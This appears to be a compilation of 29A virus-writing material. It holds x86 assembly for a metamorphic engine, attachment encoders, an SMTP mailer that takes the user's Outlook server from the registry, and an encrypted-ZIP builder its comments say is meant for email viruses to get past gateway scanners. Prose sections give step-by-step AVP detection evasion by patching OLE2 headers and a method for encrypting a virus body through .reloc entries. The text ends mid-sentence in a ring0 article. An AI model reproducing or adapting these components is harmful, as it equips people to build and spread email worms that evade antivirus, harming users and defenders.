call LJ_Metamorphize ;
mov eax, 44444444h ;
call instr1 ;run it!
;
push 0 ;
call ExitProcess ;

; This is the main jump towards the matamorphized instruction


; - it can point to a series of jumps as presented in the Madness Jump Table
; idea (not implemented here)

instr1: jmp var1_instr_1

db 10 dup (0)

; Here are the instruction sets that can be executed in order to do the
; action. These also should be spread into the code

var1_instr_1: ;variant 1
mov [ebp+var1_1], eax ;
nop ;
ret ;
;
var1_instr_2: ;variant 2
push eax ;
pop [ebp+var1_1] ;
nop ;
ret ;
;
var1_instr_3: ;variant 3
xchg [ebp+var1_1], eax ;
nop ;
ret ;

; These are the possible ways to keep the value. They should be spread inside
; the code as separated as possible
var1_1 dd 0 ; address 1
var1_2 dd 0 ; address 2
var1_3 dd 0 ; address 3

; - Metamorphizer

LJ_Metamorphize:
; Entry: EAX = hunk number (starting with 0!) ;
;
pusha ;
;
call ChooseAddress ;choose address to use
call ChooseInstruction ;choose instruction to use
call FillPlace ;fill the address
call FillJump ;fill the jump to it
;
popa ;
ret ;
;
choosen_address dd 0 ;holds the address
choosen_instruction dd 0 ;holds the instruction
choosen_bit dd 0 ;the bit to address
;
ChooseAddress: ;
push eax ;
lea esi, [ebp+AddressTable] ;point address tables
mov ecx, eax ;
or ecx, ecx ;
jz found_addresses ;
;
find_addresses: ;
lodsd ;
add esi, eax ;
loop find_addresses ;
;
found_addresses: ;
lodsd ;how many?
call brandom32 ;get a random one
mov eax, [esi+eax*4] ;
mov [ebp+choosen_address], eax ;save address
pop eax ;
ret ;
;
ChooseInstruction: ;
push eax ;
lea esi, [ebp+InstructionTable] ;point instructions
mov ecx, eax ;
or ecx, ecx ;
jz found_instructions ;
;
find_instructions: ;
lodsd ;
add esi, eax ;
loop find_instructions ;
;
found_instructions: ;
lodsd ;how many?
call brandom32 ;get a random one
mov ebx, [esi+eax*2*4] ;
mov [ebp+choosen_instruction], ebx ;save it, and
mov ebx, [esi+eax*2*4+4] ;
mov [ebp+choosen_bit], ebx ;the bit
pop eax ;
ret ;
;
FillPlace: ;
push eax ;
mov eax, [ebp+choosen_address] ;take the address
mov ebx, [ebp+choosen_instruction] ;go to the instruction
add ebx, ebp ;
add ebx, [ebp+choosen_bit] ;to the right bit
mov [ebx], eax ;and fill the address
pop eax ;
ret ;
;
FillJump: ;
push eax ;
lea esi, [ebp+Jumps] ;locate the jump
add esi, eax ;
;
lodsd ;
mov ebx, [ebp+choosen_instruction] ;get the offset of the
sub ebx, eax ;instruction
add eax, ebp ;
sub ebx, 2 ;calculate jump length
mov [eax+1], ebx ;create jump!
;
pop eax ;
ret ;
;
;
AddressTable: ;
Ahunk1: ;
dd 3 ;length of hunk
dd offset var1_1 ;addresses
dd offset var1_2 ;
dd offset var1_3 ;
;
InstructionTable: ;
Ihunk1: ;
dd 3 ;length of hunk
dd offset var1_instr_1 ;first instruction
dd 2 ;at what bit offset?
dd offset var1_instr_2 ;
dd 3 ;
dd offset var1_instr_3 ;
dd 2 ;
;
Jumps: ;
Jhunk1: ;
dd offset instr1 ;jump address
;
;---------------------- ;
brandom32 proc ;this bounds eax
push edx ;between 0 and eax-1
push ecx ;on random basis
mov edx, 0 ;
push eax ;
call random32 ;
pop ecx ;
div ecx ;
xchg eax, edx ;
pop ecx ;
pop edx ;
ret ;
brandom32 endp ;
;
random32 proc ;this is a random nr
push edx ;generator. It's a
call GetTickCount ;modified version of
rcl eax, 2 ;some random gen I found
add eax, 12345678h ;someday and it had
random_seed = dword ptr $-4 ;some flaws I fixed...
adc eax, esp ;
xor eax, ecx ;
xor [ebp+random_seed], eax ;
add eax, [esp-8] ;
rcl eax, 1 ;
pop edx ;
ret ;
random32 endp ;
;
end start ;
end ;
; Win32 386+ Random-Number-In-Range Generator.
;
; Most Win32 random number generators I've come across so far were
; actually rather predictable, so here goes my attempt to code a
; truely random one. It's small, simple and reasonably fast.
;

.386
.MODEL FLAT

EXTRN GetTickCount:PROC
EXTRN ExitProcess:PROC

.DATA

Random_Seed DD 0

.CODE
START:
CALL GetTickCount ; Initialize random seed.
MOV Random_Seed, EAX ; This can be anything.

MOV EAX, 10 ; Returns a random value


CALL Random_EAX ; between 0 and 9.

PUSH 0
CALL ExitProcess

; Entry: EAX == Max_Val.


; Return: EAX == Random number between 0..Max_Val-1.
Random_EAX:
PUSH ECX ; Save registers that get
PUSH EDX ; changed.

PUSH EAX ; Save Max_Val.

CALL GetTickCount ; Get random value.

MOV ECX, Random_Seed ; Get random seed.

ADD EAX, ECX ; Adjust random value with


; random seed.

ROL ECX, 1 ; Adjust random seed.


ADD ECX, 666h

MOV Random_Seed, ECX

; Perform CRC-32 on semi-random number


; to obtain a truely random number.

PUSH 32
POP ECX

CRC_Bit: SHR EAX, 1 ; Bit is set?


JNC Loop_CRC_Bit

XOR EAX, 0EDB88320h

Loop_CRC_Bit: LOOP CRC_Bit ; Do all 32 bits.

POP ECX ; ECX = Max_Val.


XOR EDX, EDX ; Divide truely random value
DIV ECX ; by Max_Val.

XCHG EDX, EAX ; Remainder is the


; random-in-range number.

OR EAX, EAX ; Test for zero.

POP EDX
POP ECX

RETN

END START
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MIME.ASM]ÄÄÄ
; MIME attachment encoder.

.386
.MODEL FLAT
.DATA

EXTRN ExitProcess:PROC
EXTRN CreateFileA:PROC
EXTRN CloseHandle:PROC
EXTRN ReadFile:PROC
EXTRN WriteFile:PROC
EXTRN GetFileSize:PROC

OPEN_EXISTING EQU 00000003h


CREATE_ALWAYS EQU 00000002h
FILE_ATTRIBUTE_NORMAL EQU 00000080h
GENERIC_READ EQU 80000000h
GENERIC_WRITE EQU 40000000h

START:
XOR EBX, EBX

PUSH EBX
PUSH FILE_ATTRIBUTE_NORMAL
PUSH OPEN_EXISTING
PUSH EBX
PUSH EBX
PUSH GENERIC_READ
CALL @1
DB 'INPUT.BIN', 0 ; Binary you want to encode.
@1: CALL CreateFileA

MOV [Input_Handle], EAX

PUSH EBX
PUSH FILE_ATTRIBUTE_NORMAL
PUSH CREATE_ALWAYS
PUSH EBX
PUSH EBX
PUSH GENERIC_WRITE
CALL @2
DB 'OUTPUT.EML', 0
@2: CALL CreateFileA

MOV [Output_Handle], EAX

PUSH EBX
PUSH OFFSET IO_Bytes_Count
PUSH (@4-@3)
CALL @4
@3: DB 'MIME-Version: 1.0', 0Dh, 0Ah
DB 'Content-Type: multipart/mixed; boundary=ir', 0Dh, 0Ah
DB 0Dh, 0Ah
DB '--ir', 0Dh, 0Ah
DB 0Dh, 0Ah
DB 'this is plain text', 0Dh, 0Ah
DB '--ir', 0Dh, 0Ah
DB 'Content-Type: application; name=binary.exe', 0Dh, 0Ah
DB 'Content-Transfer-Encoding: base64', 0Dh, 0Ah
DB 0Dh, 0Ah
@4: PUSH [Output_Handle]
CALL WriteFile

PUSH EBX
PUSH [Input_Handle]
CALL GetFileSize

CDQ
MOV ECX, (76/4)*3
DIV ECX

DEC EDX
JS No_Round

INC EAX

No_Round: XCHG ECX, EAX

Encode_Line: PUSH ECX

MOV ESI, OFFSET Input_Buffer

PUSH 0
PUSH OFFSET IO_Bytes_Count
PUSH (76/4)*3
PUSH ESI
PUSH [Input_Handle]
CALL ReadFile

MOV EDI, OFFSET Output_Buffer

PUSH EDI

PUSH 76/4
POP ECX

Encode_Packet: PUSH ECX

MOV CL, 8

LODSB
SHL EAX, CL

LODSB
SHL EAX, CL

LODSB
SHL EAX, CL

MOV EBX, OFFSET Encoding_Table

MOV CL, 4

Encode_Byte: SHR EAX, 2

ROL EAX, 8

XLAT
STOSB

LOOP Encode_Byte

POP ECX
LOOP Encode_Packet

MOV WORD PTR [EDI], 0A0Dh ; <CRLF>.

POP EAX

PUSH 0
PUSH OFFSET IO_Bytes_Count
PUSH 78
PUSH EAX
PUSH [Output_Handle]
CALL WriteFile

POP ECX

LOOP Encode_Line

PUSH 0
CALL @5
IO_Bytes_Count DD 0
@5: PUSH (@7-@6)
CALL @7
@6: DB '--ir--', 0Dh, 0Ah
@7: PUSH [Output_Handle]
CALL WriteFile

PUSH 12345678h
Output_Handle = DWORD PTR $-4
CALL CloseHandle

PUSH 12345678h
Input_Handle = DWORD PTR $-4
CALL CloseHandle

Exit: PUSH 0
CALL ExitProcess

Encoding_Table: DB 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
DB 'abcdefghijklmnopqrstuvwxyz'
DB '0123456789+/'

Input_Buffer DB 200 DUP(0)


Output_Buffer DB 200 DUP(0)

END START
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MIME.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UUENCODE.ASM]ÄÄÄ
; UUENCODE attachment encoder.

.386
.MODEL FLAT
.DATA

EXTRN ExitProcess:PROC
EXTRN CreateFileA:PROC
EXTRN CloseHandle:PROC
EXTRN ReadFile:PROC
EXTRN WriteFile:PROC
EXTRN GetFileSize:PROC

OPEN_EXISTING EQU 00000003h


CREATE_ALWAYS EQU 00000002h
FILE_ATTRIBUTE_NORMAL EQU 00000080h
GENERIC_READ EQU 80000000h
GENERIC_WRITE EQU 40000000h

START:
XOR EBX, EBX

PUSH EBX
PUSH FILE_ATTRIBUTE_NORMAL
PUSH OPEN_EXISTING
PUSH EBX
PUSH EBX
PUSH GENERIC_READ
CALL @1
DB 'INPUT.BIN', 0
@1: CALL CreateFileA

MOV [Input_Handle], EAX

PUSH EBX
PUSH FILE_ATTRIBUTE_NORMAL
PUSH CREATE_ALWAYS
PUSH EBX
PUSH EBX
PUSH GENERIC_WRITE
CALL @2
DB 'OUTPUT.UUE', 0
@2: CALL CreateFileA

MOV [Output_Handle], EAX

PUSH EBX
PUSH OFFSET IO_Bytes_Count
PUSH 22
CALL @3
DB 'begin 644 binary.exe', 0Dh, 0Ah
@3: PUSH [Output_Handle]
CALL WriteFile

PUSH EBX
PUSH [Input_Handle]
CALL GetFileSize

XOR EDX, EDX


MOV ECX, 45
DIV ECX

DEC EDX
JS No_Round

INC EAX

No_Round: XCHG ECX, EAX

Encode_Line: PUSH ECX

MOV ESI, OFFSET Input_Buffer

PUSH 0
PUSH OFFSET IO_Bytes_Count
PUSH 45
PUSH ESI
PUSH [Input_Handle]
CALL ReadFile

MOV EDI, OFFSET Output_Buffer

CLD

MOV AL, (45 + 20h) ; Decoded length of 45 bytes.


STOSB

PUSH (45 / 3) ; Process 45 bytes.


POP ECX

Encode_DWORD: LODSD
DEC ESI

SHL EAX, 8

MOV BH, AH

ROL EAX, 8

XCHG AL, BH

ROR EAX, 8

MOV AH, BH

PUSH ECX

PUSH 4
POP ECX

Encode_Byte: SHR EAX, 2

ROR EAX, 3*8

ADD AL, 20h

CMP AL, 20h ; It's a space?


JNE Store_Encoded

MOV AL, 60h


Store_Encoded: STOSB

ROL EAX, 3*8

SHL EAX, 8

LOOP Encode_Byte

POP ECX

LOOP Encode_DWORD

MOV AX, 0A0Dh ; Store <CR> & <LF>.


STOSW

PUSH 0
PUSH OFFSET IO_Bytes_Count
PUSH 63
PUSH OFFSET Output_Buffer
PUSH [Output_Handle]
CALL WriteFile
POP ECX

LOOP Encode_Line

PUSH ECX
CALL @4
IO_Bytes_Count DD 0
@4: PUSH 8
CALL @5
DB '`', 0Dh, 0Ah, 'end', 0Dh, 0Ah
@5: PUSH [Output_Handle]
CALL WriteFile

PUSH 12345678h
Output_Handle = DWORD PTR $-4
CALL CloseHandle

PUSH 12345678h
Input_Handle = DWORD PTR $-4
CALL CloseHandle

Exit: PUSH 0
CALL ExitProcess

Input_Buffer DB 45 DUP(0)
Output_Buffer DB 63 DUP(0)

END START
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UUENCODE.ASM]ÄÄÄ
; SMTP client.
; Sends an e-mail using the Outlook SMTP server specified in the registry.
;

.386
.MODEL FLAT
.DATA

JUMPS ; So I don't have to mess around with JMPs.

EXTRN ExitProcess:PROC
EXTRN WSAStartup:PROC
EXTRN WSACleanup:PROC
EXTRN gethostbyname:PROC
EXTRN socket:PROC
EXTRN closesocket:PROC
EXTRN connect:PROC
EXTRN select:PROC
EXTRN recv:PROC
EXTRN send:PROC
EXTRN RegCloseKey:PROC
EXTRN RegQueryValueExA:PROC
EXTRN RegOpenKeyExA:PROC

SOCK_STREAM EQU 1 ; Stream socket.


AF_INET EQU 2 ; Internetwork: UDP, TCP, etc.
HKEY_CURRENT_USER EQU 80000001h
KEY_QUERY_VALUE EQU 1
REG_SZ EQU 1

START:
CALL Get_EIP ; Get delta offset, incase
Get_EIP: POP EBP ; someone would want to stuff
SUB EBP, (Get_EIP-START) ; this in a virus.

XOR EBX, EBX

LEA EDI, [EBP+(Reg_Handle-START)]

LEA EAX, [EBP+(Reg_Handle-START)]


PUSH EAX
PUSH KEY_QUERY_VALUE
PUSH EBX
CALL @1
DB 'Software\Microsoft\Internet Account Manager', 0
@1: PUSH HKEY_CURRENT_USER
CALL RegOpenKeyExA

CALL @2
DD 9
@2: LEA EAX, [EBP+(Account_Index-START)]
PUSH EAX
PUSH EBX
PUSH EBX
CALL @3
DB 'Default Mail Account', 0
@3: PUSH DWORD PTR [EBP+(Reg_Handle-START)]
CALL RegQueryValueExA

PUSH DWORD PTR [EBP+(Reg_Handle-START)]


CALL RegCloseKey
PUSH OFFSET Reg_Handle
PUSH KEY_QUERY_VALUE
PUSH EBX
CALL @4
DB 'Software\Microsoft\Internet Account Manager\Accounts\'
Account_Index: DB '00000000', 0
@4: PUSH HKEY_CURRENT_USER
CALL RegOpenKeyExA

CALL @5
DD 30
@5: LEA EAX, [EBP+(SMTP_Name-START)]
PUSH EAX
PUSH EBX
PUSH EBX
CALL @6
DB 'SMTP Server', 0
@6: PUSH DWORD PTR [EBP+(Reg_Handle-START)]
CALL RegQueryValueExA

PUSH DWORD PTR [EBP+(Reg_Handle-START)]


CALL RegCloseKey

PUSH OFFSET WSA_Data ; Winsock data.


PUSH 0101h ; Version 1.1 (Win95+).
CALL WSAStartup

OR EAX, EAX ; Error?


JNZ Exit

; Convert the DNS name to an IP address.

LEA EAX, [EBP+(SMTP_Name-START)]


PUSH EAX
CALL gethostbyname

XCHG ECX, EAX ; Error?


JECXZ Free_Winsock

MOV ESI, [ECX+12] ; Fetch IP address.


LODSD
PUSH DWORD PTR [EAX]
POP DWORD PTR [EBP+(Server_IP-START)]

PUSH 0 ; Create a socket.


PUSH SOCK_STREAM
PUSH AF_INET
CALL socket

MOV [EBP+(Work_Socket-START)], EAX

INC EAX ; Error?


JZ Free_Winsock

PUSH 16 ; Size of connect structure.


CALL @7 ; Connect structure.
DW AF_INET ; Family.
DB 0, 25 ; Port number.
Server_IP DD 0 ; IP of server.
DB 8 DUP(0) ; Unused.
@7: PUSH DWORD PTR [EBP+(Work_Socket-START)]
CALL connect
INC EAX ; Error?
JZ Close_Socket

LEA ESI, [EBP+(Send_Table-START)]

MOV BL, 6

; Wait up to 5 seconds for incoming data,


; or else close the connection. This is
; done to prevent an endless block.

Command_Loop: XOR EAX, EAX

CALL @8 ; Time-out:
Time_Out: DD 5 ; - Seconds.
DD 0 ; - Milliseconds.
@8: PUSH EAX ; Error (not used).
PUSH EAX ; Writeability (not used).
CALL @9 ; Readability:
Socket_Set: DD 1 ; - Socket count.
Work_Socket DD 0 ; - Socket.
@9: PUSH EAX ; Unused.
CALL select

DEC EAX ; Socket can be read?


JNZ Close_Socket ; Else close up.

LEA EDI, [EBP+(Buffer-START)]

PUSH 0 ; Receive data from the


PUSH 512 ; socket.
PUSH EDI
PUSH DWORD PTR [EBP+(Work_Socket-START)]
CALL recv

XCHG ECX, EAX ; Connection closed?


JECXZ Close_Socket

INC ECX ; Error?


JZ Close_Socket

OR EBX, EBX ; Received stuff was the QUIT


JZ Close_Socket ; reply? Then close up.

MOV AL, '2' ; "OK" reply.

CMP BL, 2 ; Received stuff was the DATA


JNE Check_Reply ; reply?

INC EAX ; "OK, send the rest" reply.

Check_Reply: SCASB ; Check for correct reply.


JE Wait_Ready ; Yep, so go on.

; An error occurred, so we gracefully close down the


; connection by sending a QUIT command to the server.

LEA ESI, [EBP+(Send_Table-START)+(5*4)]

MOV BL, 1

; Poll if the socket can be written


; to or bail after 5 seconds.
Wait_Ready: XOR ECX, ECX

LEA EAX, [EBP+(Time_Out-START)]


PUSH EAX
@10: PUSH ECX ; Error (not used).
LEA EAX, [EBP+(Socket_Set-START)]
PUSH EAX ; Writeability.
@11: PUSH ECX ; Readability (not used).
PUSH ECX ; Unused.
CALL select

DEC EAX ; Time-out?


JNZ Close_Socket

CLD ; Fetch offset + size of next


LODSD ; SMTP command.

MOVZX ECX, AX

SHR EAX, 16
ADD EAX, EBP ; Add delta offset.

; Send command/data to the socket.

PUSH ECX

PUSH 0
PUSH ECX ; Size of buffer.
PUSH EAX ; Buffer.
PUSH DWORD PTR [EBP+(Work_Socket-START)]
CALL send

POP ECX

CMP EAX, ECX ; All bytes were sent?


JNE Close_Socket ; Else close connection.

DEC EBX ; Did all commands so far?


JNS Command_Loop ; If not, continue.

Close_Socket: PUSH DWORD PTR [EBP+(Work_Socket-START)]


CALL closesocket

Free_Winsock: CALL WSACleanup

Exit: PUSH 0 ; Back to Windoze.


CALL ExitProcess

Send_Table: DW (esHELO-sHELO), (sHELO-START)


DW (esMAIL-sMAIL), (sMAIL-START)
DW (esRCPT-sRCPT), (sRCPT-START)
DW (esDATA-sDATA), (sDATA-START)
DW (End_Body-Body), (Body-START)
DW (esQUIT-sQUIT), (sQUIT-START)

; Identify us to the server, keep in mind that


; some servers check if this host is correct.

sHELO DB 'HELO host.name.of.sender', 0Dh, 0Ah


esHELO:

; This is the addy the mail gets returned to when it can't be delivered.
; If you don't want to get notified of failures, use a blank addy ('<>').

sMAIL DB 'MAIL FROM:<T2000_@hotmail.com>', 0Dh, 0Ah


esMAIL:

; To whom the mail should be delivered.

sRCPT DB 'RCPT TO:<T2000_@hotmail.com>', 0Dh, 0Ah


esRCPT:

sDATA DB 'DATA', 0Dh, 0Ah


esDATA:

; Header of the body.

Body: DB 'From: "Ben Dover" <bendover@crapmail.com>', 0Dh, 0Ah


DB 'Subject: Fuck You', 0Dh, 0Ah
DB 0Dh, 0Ah

; Main body.

DB 'This is the body of the e-mail', 0Dh, 0Ah


DB 'bla bla bla die die bla bla', 0Dh, 0Ah

DB '.', 0Dh, 0Ah ; End of data command.


End_Body:

sQUIT DB 'QUIT', 0Dh, 0Ah


esQUIT:

Reg_Handle DD 0
SMTP_Name DB 30 DUP(0)
WSA_Data DB 400 DUP(0)
Buffer DB 512 DUP(0)

; For more info consult RFC 821 (SMTP).

END START
; Constructs an encrypted .ZIP-file from an input file.
; Written to be incorporated into e-mail virii, to evade
; e-mail gateway scanners (as they can't decrypt the file).
; The decryption password can be supplied in the body of
; the e-mail, or in the filename (ie. password.is.virus.zip), etc.
;

.386
.MODEL FLAT
.DATA

EXTRN CreateFileA:PROC
EXTRN CloseHandle:PROC
EXTRN GetFileSize:PROC
EXTRN VirtualAlloc:PROC
EXTRN ReadFile:PROC
EXTRN WriteFile:PROC
EXTRN ExitProcess:PROC
EXTRN GetTickCount:PROC

FILE_ATTRIBUTE_NORMAL EQU 00000080h


GENERIC_READ EQU 80000000h
GENERIC_WRITE EQU 40000000h
CREATE_ALWAYS EQU 00000002h
OPEN_EXISTING EQU 00000003h
PAGE_READWRITE EQU 00000004h
MEM_RESERVE EQU 00002000h
MEM_COMMIT EQU 00001000h

Input_File DB 'INPUT.666', 0
Output_File DB 'ENCODED.ZIP', 0

Local_Header: DD 04034B50h ;local file header signature


DW (2*10) ;version needed to extract
DW 1 ;general purpose bit flag
DW 0 ;compression method
DW 8C28h ;last mod file time
DW 28E4h ;last mod file date
LH_CRC DD 0 ;crc-32
LH_Compr_Size DD 0 ;compressed size
LH_Uncompr_Size DD 0 ;uncompressed size
DW 12 ;filename length
DW 0 ;extra field length
DB 'FILENAME.TXT' ;filename (variable size)
End_LH:

Central_Header: DD 02014B50h ;central file header signature


DW (2*10) ;version made by
DW (2*10) ;version needed to extract
DW 1 ;general purpose bit flag
DW 0 ;compression method
DW 8C28h ;last mod file time
DW 28E4h ;last mod file date
CH_CRC DD 0 ;crc-32
CH_Compr_Size DD 0 ;compressed size
CH_Uncompr_Size DD 0 ;uncompressed size
DW 12 ;filename length
DW 0 ;extra field length
DW 0 ;file comment length
DW 0 ;disk number start
DW 0 ;internal file attributes
DD 0 ;external file attributes
DD 0 ;relative offset of local header
DB 'FILENAME.TXT' ;filename (variable size)
End_CH:

End_CH_Dir: DD 06054B50h ;end of central dir signature


DW 0 ;number of this disk
DW 0 ;number of the disk with the
;start of the central directory
DW 1 ;total number of entries in
;the central dir on this disk
DW 1 ;total number of entries in
;the central dir
DD (End_CH-Central_Header);size of the central directory
ECD_Central_Dir DD (Central_Header-Local_Header) ;offset of start of central
;directory with respect to
;the starting disk number
DW 0 ;zipfile comment length
End_End_CH_Dir:

Cipher_Key DB 'succubus' ; The .ZIP password.


End_Cipher_Key:

Key0 DD 305419896 ; The encryption keys.


Key1 DD 591751049
Key2 DD 878082192

CRC_Init DD 0FFFFFFFFh

File_Handle DD 0
Archive_Size DD 0
Byte_To_CRC DB 0
Temp DD 0

.CODE
START:
XOR EBP, EBP ; EBP is always 0.

PUSH EBP ; Open file to encapsulate


PUSH EBP ; in encrypted Zip-archive.
PUSH OPEN_EXISTING
PUSH EBP
PUSH EBP
PUSH GENERIC_READ
PUSH OFFSET Input_File
CALL CreateFileA

MOV File_Handle, EAX

PUSH EBP ; Get it's size.


PUSH File_Handle
CALL GetFileSize

MOV LH_Uncompr_Size, EAX ; Fill-in some of Zip-header.


MOV CH_Uncompr_Size, EAX

ADD EAX, 12 ; Add size of random


; encryption header.
MOV LH_Compr_Size, EAX
MOV CH_Compr_Size, EAX

ADD ECD_Central_Dir, EAX


MOV Archive_Size, EAX

PUSH PAGE_READWRITE ; Allocate memory for input.


PUSH MEM_RESERVE OR MEM_COMMIT
PUSH EAX
PUSH EBP
CALL VirtualAlloc

MOV EDI, EAX

ADD EAX, 12 ; After the random encryption


; header.

PUSH EBP ; Read-in the file to encode.


PUSH OFFSET Temp
PUSH Archive_Size
PUSH EAX
PUSH File_Handle
CALL ReadFile

PUSH File_Handle
CALL CloseHandle

PUSH EBP ; Create output .ZIP-file.


PUSH FILE_ATTRIBUTE_NORMAL
PUSH CREATE_ALWAYS
PUSH EBP
PUSH EBP
PUSH GENERIC_WRITE
PUSH OFFSET Output_File
CALL CreateFileA

MOV File_Handle, EAX

CALL Generate_Zip ; Construct the zip-package.

PUSH (End_LH-Local_Header) ; Write Local File Header.


POP ECX
MOV EDX, OFFSET Local_Header
CALL Write_File

MOV ECX, Archive_Size ; Write encoded file packet.


MOV EDX, EDI
CALL Write_File

; Write Central File Header + End Of Central Directory.

PUSH (End_End_CH_Dir-Central_Header)
POP ECX
PUSH OFFSET Central_Header
POP EDX
CALL Write_File

PUSH File_Handle
CALL CloseHandle

Exit: PUSH EBP


CALL ExitProcess

Write_File:
PUSH EBP
PUSH OFFSET Temp
PUSH ECX
PUSH EDX
PUSH File_Handle
CALL WriteFile

RETN

Generate_Zip:
PUSHAD

; Initialize the 3 encryption


; keys with the password.

PUSH (End_Cipher_Key-Cipher_Key)
POP ECX

MOV ESI, OFFSET Cipher_Key

Init_Keys: LODSB
CALL Update_Keys ; Update keys with AL.

LOOP Init_Keys

; Generate a random 12-byte encryption header.

PUSH EDI

CALL GetTickCount ; This header should be fully


; random but this will do
STOSD ; aswell (less code).

XOR EAX, 0DEADBEEFh


STOSD

ADD EAX, -666


STOSD

MOV ECX, LH_Uncompr_Size ; Calculate the CRC of the


MOV ESI, EDI ; stored data.
CALL CRC

MOV LH_CRC, EAX ; Save it.


MOV CH_CRC, EAX

DEC EDI

ROL EAX, (1*8) ; The last byte of the random


STOSB ; encryption header must be
; the high byte of the CRC.
POP EDI

; Encrypt the random encryption header


; and the actual data stream.

MOV ECX, LH_Compr_Size

Encrypt_Stream: MOV EAX, Key2


OR AL, 2

MOV EBX, EAX

XOR AL, 1
MUL BX

XOR AH, [EDI]


XCHG [EDI], AH

MOV AL, AH
CALL Update_Keys

INC EDI

LOOP Encrypt_Stream

POPAD

RETN

; Updates the 3 encryption keys with the character in AL.


Update_Keys:
PUSHAD

MOV EDX, Key0


CALL Update_CRC

NOT EAX

MOV Key0, EAX

MOVZX EAX, AL

ADD EAX, Key1


MOV ECX, 134775813
MUL ECX

INC EAX

MOV Key1, EAX

MOV EDX, Key2


SHR EAX, (3*8)
CALL Update_CRC

NOT EAX

MOV Key2, EAX

POPAD

RETN

Update_CRC:
PUSH 1
POP ECX

MOV CRC_Init, EDX

MOV ESI, OFFSET Byte_To_CRC


MOV [ESI], AL

CRC: PUSH EDX ; Original code by Sepultura.


PUSH ESI
PUSH -1
POP EDX

XCHG CRC_Init, EDX

CLD

Load_Character: LODSB

XOR DL, AL

MOV AL, 8

CRC_Byte: SHR EDX, 1


JNC Loop_CRC_Byte

XOR EDX, 0EDB88320h

Loop_CRC_Byte: DEC AL
JNZ CRC_Byte

LOOP Load_Character

Exit_Calc_CRC: XCHG EDX, EAX

NOT EAX

POP ESI
POP EDX

RETN

END START
How to get AVP not detecting viruses in OLE2 files:
--------------------------------------------------

Note: OLE2 files are used by the majority of Office applications or by


Windows itself (.SHS files). They start with 0xD0, 0xCF bytes.

I discovered this problem of AVP some time ago when i was disassembling
some routine of his code.

Procedure :
1.- Take a macro virus and check AVP is detecting it.
2.- Open the file with a hex-editor and go to 0x48 position.
3.- Look at the double word; it should be 0 if the file is not too big.
4.- Change it for other value very high (example: 0x99999999).
5.- Check the file with AVP again and you will see it doesn't detect anything.
6.- You can check that the virus is still active and Word will load the file
without any kind of problems. :-)
You also can check that all the other AVs detect it without problems.

Explanation:

OLE2 files are like an easy file system, organized into something similar as
a FAT. For big file it uses a double FAT; his size is at 0x48 position (if
it's 0 means is not being used) and in the position 0x44 is his initial
"sector".

AVP, before analyze a file, tries to check if it's corrupted. In this case
we are making believe him that the file is bigger compared with the real
size of the disk and AVP believes is truncated. That's why AVP doesn't
analyze it.

Why Word and all the other antiviruses are not having the same problem?
Because they don't try to access to that field and never will access due the
file is smaller they never need to access really to those so high positions
of the file.

Tcp/29A
Encryptation through relocs

Until now relocs section (.reloc) has been very useful (curiously by useless)
for virus coders. Why? Virus coders overwrite it to hide an increase of size
after the infection. Nothing to worry because when Windows loads an
executable it gives a new virtual address space and it will be loaded into
the base address indicated in his header and it's not necessary to apply the
relocs. That's the reason why by default some compilers don't include the
.reloc section except if you tell the contrary. Of course, it doesn't happen
the same with DLLs since it's more common they have their base already
busy (at least it's already loaded the executable and usually there will be
other DLLs) then it will must to be loaded into other base address and
applied new relocs based in the new base.

Let's see what happens when a module is loaded into another different base of
the indicated in the header and it's needed to apply relocs; each entry in
the relocs table point to the addresses of the module that are needed to be
reseted. To the content of each of these addresses is subtracted the indicated
base in the header (since it's already reseted respect to that base) and it's
added the base where it has been loaded really.

Other fact we will use is that if to an executable we put a base where we know
it will not be loaded, Windows by default tries to load it at 0x400000.

Taking care of all these, we are going to get encrypted a virus and the own
Windows will decrypt it, i mean, it will not be needed any decryption routine.

First, we need the host having his base at 0x400000 and we need to null his
relocs (if it has any). Now we change the base to the executable for one we
know Windows will not accept, per example we take 0x12345678. With this we
will get Windows loading the executable at 0x400000 and applying the relocs;
It's due to that we have nulled the relocs of the host since finally it's
being loaded his choosed base.

Now we create a new .reloc section pointing each DWORD from the body of the
virus and we encrypt every DWORD of the virus in the next way:

DWORD virus + 0x12345678 - 0x400000

We do that since when Windows loads the executable at 0x400000 what it will
do will be subtract the header of the base (0x12345678) and add the real base
(0x400000).

This way: (virus + 0x12345678 - 0x400000) - 0x12345678 + 0x400000 = virus;

We've gotten Windows finally decrypting our virus and then it's different
to how it was in disk without execute any instruction (it's only needed
whereupon it has been loaded into a debugger per example :-)

In NT there are limitations to the use of this method since it doesn't want to
load the executable if it finds a strange base (i believe it must to be
multiple of 64KB).

Tcp/29A
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Win9x Ring0 Quest ³ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ³ ³ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; ³ part I ³ ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ³ ³ ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ³ by Super/29A ³ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;
;
;This is my first article about ring0, although I have been obsessed with
;this stuff for ages. In this article I'll discuss all known and unknown
